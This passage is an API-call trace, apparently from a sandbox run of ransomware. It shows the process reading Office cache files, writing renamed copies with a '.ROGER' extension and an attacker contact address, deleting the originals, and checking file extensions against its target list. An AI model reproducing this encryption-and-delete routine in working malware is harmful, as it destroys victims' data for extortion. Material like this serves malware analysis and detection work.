hFile=0x398, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.880] WriteFile (in: hFile=0x388, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.880] SetEndOfFile (hFile=0x388) returned 1 [0040.880] CloseHandle (hObject=0x388) returned 1 [0040.881] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.881] SetEndOfFile (hFile=0x398) returned 1 [0040.882] CloseHandle (hObject=0x398) returned 1 [0040.882] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0040.882] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0040.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.883] lstrlenW (lpString=".doc") returned 4 [0040.883] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.883] lstrlenW (lpString=".docx") returned 5 [0040.883] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.883] lstrlenW (lpString=".pdf") returned 4 [0040.883] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.883] lstrlenW (lpString=".xls") returned 4 [0040.883] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.883] lstrlenW (lpString=".xlsx") returned 5 [0040.883] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.883] lstrlenW (lpString=".ppt") returned 4 [0040.883] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.883] lstrlenW (lpString=".zip") returned 4 [0040.883] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.883] lstrlenW (lpString=".rar") returned 4 [0040.883] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.883] lstrlenW (lpString=".bz2") returned 4 [0040.883] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.883] lstrlenW (lpString=".7z") returned 3 [0040.883] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.883] lstrlenW (lpString=".dbf") returned 4 [0040.883] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.883] lstrlenW (lpString=".1cd") returned 4 [0040.883] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.884] lstrlenW (lpString=".jpg") returned 4 [0040.884] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.884] lstrlenW (lpString=".doc") returned 4 [0040.884] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.884] lstrlenW (lpString=".docx") returned 5 [0040.884] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.884] lstrlenW (lpString=".pdf") returned 4 [0040.884] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.884] lstrlenW (lpString=".xls") returned 4 [0040.884] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.884] lstrlenW (lpString=".xlsx") returned 5 [0040.884] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.884] lstrlenW (lpString=".ppt") returned 4 [0040.884] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.884] lstrlenW (lpString=".zip") returned 4 [0040.884] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.884] lstrlenW (lpString=".rar") returned 4 [0040.884] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.884] lstrlenW (lpString=".bz2") returned 4 [0040.884] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.884] lstrlenW (lpString=".7z") returned 3 [0040.884] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.884] lstrlenW (lpString=".dbf") returned 4 [0040.884] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.884] lstrlenW (lpString=".1cd") returned 4 [0040.885] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.885] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.885] lstrlenW (lpString=".jpg") returned 4 [0040.885] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.885] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0040.885] lstrlenW (lpString="Setup.xml") returned 9 [0040.885] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0041.202] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=16683) returned 1 [0041.202] CloseHandle (hObject=0x37c) returned 1 [0041.202] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0041.202] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.202] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0041.202] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.202] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.202] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0041.202] GetLastError () returned 0x0 [0041.202] ReadFile (in: hFile=0x37c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x412b, lpOverlapped=0x0) returned 1 [0041.204] WriteFile (in: hFile=0x384, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0041.205] ReadFile (in: hFile=0x37c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.205] WriteFile (in: hFile=0x384, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.205] SetEndOfFile (hFile=0x384) returned 1 [0041.205] CloseHandle (hObject=0x384) returned 1 [0041.206] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.206] SetEndOfFile (hFile=0x37c) returned 1 [0041.207] CloseHandle (hObject=0x37c) returned 1 [0041.207] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0041.207] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0041.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.208] lstrlenW (lpString=".doc") returned 4 [0041.208] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.208] lstrlenW (lpString=".docx") returned 5 [0041.208] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0041.208] lstrlenW (lpString=".pdf") returned 4 [0041.208] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.208] lstrlenW (lpString=".xls") returned 4 [0041.208] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.208] lstrlenW (lpString=".xlsx") returned 5 [0041.208] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0041.208] lstrlenW (lpString=".ppt") returned 4 [0041.208] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.208] lstrlenW (lpString=".zip") returned 4 [0041.208] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.208] lstrlenW (lpString=".rar") returned 4 [0041.208] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.208] lstrlenW (lpString=".bz2") returned 4 [0041.208] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.208] lstrlenW (lpString=".7z") returned 3 [0041.208] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.208] lstrlenW (lpString=".dbf") returned 4 [0041.209] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.209] lstrlenW (lpString=".1cd") returned 4 [0041.209] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.209] lstrlenW (lpString=".jpg") returned 4 [0041.209] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.209] lstrlenW (lpString=".doc") returned 4 [0041.209] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString=".docx") returned 5 [0041.209] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0041.209] lstrlenW (lpString=".pdf") returned 4 [0041.209] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString=".xls") returned 4 [0041.209] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString=".xlsx") returned 5 [0041.209] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0041.209] lstrlenW (lpString=".ppt") returned 4 [0041.209] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.209] lstrlenW (lpString=".zip") returned 4 [0041.209] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.209] lstrlenW (lpString=".rar") returned 4 [0041.209] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString=".bz2") returned 4 [0041.209] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString=".7z") returned 3 [0041.209] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.210] lstrlenW (lpString=".dbf") returned 4 [0041.210] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.210] lstrlenW (lpString=".1cd") returned 4 [0041.210] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.210] lstrlenW (lpString=".jpg") returned 4 [0041.210] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.210] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0041.210] lstrlenW (lpString="Setup.xml") returned 9 [0041.210] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0041.210] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=20577) returned 1 [0041.210] CloseHandle (hObject=0x37c) returned 1 [0041.210] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0041.210] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.210] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0041.211] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.211] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.211] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0041.211] GetLastError () returned 0x0 [0041.211] ReadFile (in: hFile=0x37c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x5061, lpOverlapped=0x0) returned 1 [0041.213] WriteFile (in: hFile=0x384, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0041.214] ReadFile (in: hFile=0x37c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.214] WriteFile (in: hFile=0x384, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.214] SetEndOfFile (hFile=0x384) returned 1 [0041.214] CloseHandle (hObject=0x384) returned 1 [0041.215] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.215] SetEndOfFile (hFile=0x37c) returned 1 [0041.216] CloseHandle (hObject=0x37c) returned 1 [0041.216] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0041.216] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0041.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.217] lstrlenW (lpString=".doc") returned 4 [0041.217] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.217] lstrlenW (lpString=".docx") returned 5 [0041.217] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0041.217] lstrlenW (lpString=".pdf") returned 4 [0041.217] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.217] lstrlenW (lpString=".xls") returned 4 [0041.217] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.217] lstrlenW (lpString=".xlsx") returned 5 [0041.217] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0041.217] lstrlenW (lpString=".ppt") returned 4 [0041.217] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.217] lstrlenW (lpString=".zip") returned 4 [0041.217] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.217] lstrlenW (lpString=".rar") returned 4 [0041.217] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.217] lstrlenW (lpString=".bz2") returned 4 [0041.217] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.217] lstrlenW (lpString=".7z") returned 3 [0041.217] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.217] lstrlenW (lpString=".dbf") returned 4 [0041.217] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.217] lstrlenW (lpString=".1cd") returned 4 [0041.217] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.218] lstrlenW (lpString=".jpg") returned 4 [0041.218] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.218] lstrlenW (lpString=".doc") returned 4 [0041.218] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.218] lstrlenW (lpString=".docx") returned 5 [0041.218] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0041.218] lstrlenW (lpString=".pdf") returned 4 [0041.218] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.218] lstrlenW (lpString=".xls") returned 4 [0041.218] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.218] lstrlenW (lpString=".xlsx") returned 5 [0041.218] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0041.218] lstrlenW (lpString=".ppt") returned 4 [0041.218] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.218] lstrlenW (lpString=".zip") returned 4 [0041.218] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.218] lstrlenW (lpString=".rar") returned 4 [0041.218] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.218] lstrlenW (lpString=".bz2") returned 4 [0041.218] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.218] lstrlenW (lpString=".7z") returned 3 [0041.218] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.218] lstrlenW (lpString=".dbf") returned 4 [0041.218] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.218] lstrlenW (lpString=".1cd") returned 4 [0041.218] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.219] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.219] lstrlenW (lpString=".jpg") returned 4 [0041.219] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.219] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0041.219] lstrlenW (lpString="VisiorWW.xml") returned 12 [0041.219] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0041.221] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=8723) returned 1 [0041.221] CloseHandle (hObject=0x37c) returned 1 [0041.221] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0041.221] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.221] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0041.221] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.221] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.222] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0041.222] GetLastError () returned 0x0 [0041.222] ReadFile (in: hFile=0x37c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x2213, lpOverlapped=0x0) returned 1 [0041.223] WriteFile (in: hFile=0x384, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x2220, 